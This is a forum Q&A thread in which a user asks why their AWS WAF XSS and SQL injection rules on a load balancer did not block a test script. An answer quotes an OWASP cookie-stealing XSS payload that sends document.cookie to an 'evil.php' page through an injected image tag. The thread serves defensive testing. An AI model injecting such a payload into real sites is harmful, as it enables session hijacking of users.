I tried submitting a form with <script>danger</script> and I was NOT blocked. I put WAF on my ELB and did test to make sure I have analytics (Below).

What am I doing wrong?

Here is my ACL:


Here is my XSS and SQL Rule:

SQL Injection Rule

SQL Injection conidtion

XSS Rule

XSS Prevention Condition

Analytics: (To show that traffic is indeed routing though LB) Analytics

  • 2
    That tiny fragment of code doesn't look dangerous to me, and is unlikely to trigger either of your rules. – Tim Jun 22 '17 at 19:39
  • Do you have an example of how to trigger it? – Chris Muench Jun 23 '17 at 2:40

Below is one example of how to trigger a XSS rule. This ought to trigger your rule all by itself (you can prove it out by pointing it to your own PHP page or other web location), but this at least demonstrates the general principle.

<script type="text/javascript">
    var adr = '../evil.php?cakemonster=' + escape(document.cookie);
    document.write("<img src='" + adr + "' />");

This and other examples are available the following OWASP article:

Cross-site Scripting (XSS) - OWASP

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.